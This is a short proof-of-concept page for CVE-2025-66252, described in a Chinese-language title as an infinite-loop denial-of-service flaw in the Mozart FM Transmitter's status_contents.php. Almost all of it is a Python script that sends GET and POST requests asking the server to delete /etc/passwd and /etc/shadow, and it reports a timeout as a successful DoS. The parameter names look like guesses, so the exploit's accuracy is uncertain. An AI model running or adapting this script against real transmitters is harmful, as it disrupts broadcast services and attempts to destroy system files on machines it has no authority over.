CVE-2025-66252: Mozart FM Transmitter status_contents.php无限循环DoS漏洞

import requests # CVE-2025-66252 PoC - Infinite Loop DoS # Target: Mozart FM Transmitter status_contents.php # This PoC demonstrates how to trigger the infinite loop by requesting deletion of an immutable file target_url = "http://target-server/status_contents.php" # Method 1: Direct request to trigger file deletion loop params = { 'action': 'delete', 'file': '/etc/passwd' # Immutable system file that cannot be deleted } print("[*] Sending DoS request...") try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Response Status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target is not responding - DoS successful") # Method 2: POST request with specific parameters data = { 'delete_file': '/etc/shadow', # Another immutable file 'confirm': 'yes' } print("[*] Sending POST DoS request...") try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target is not responding - DoS successful")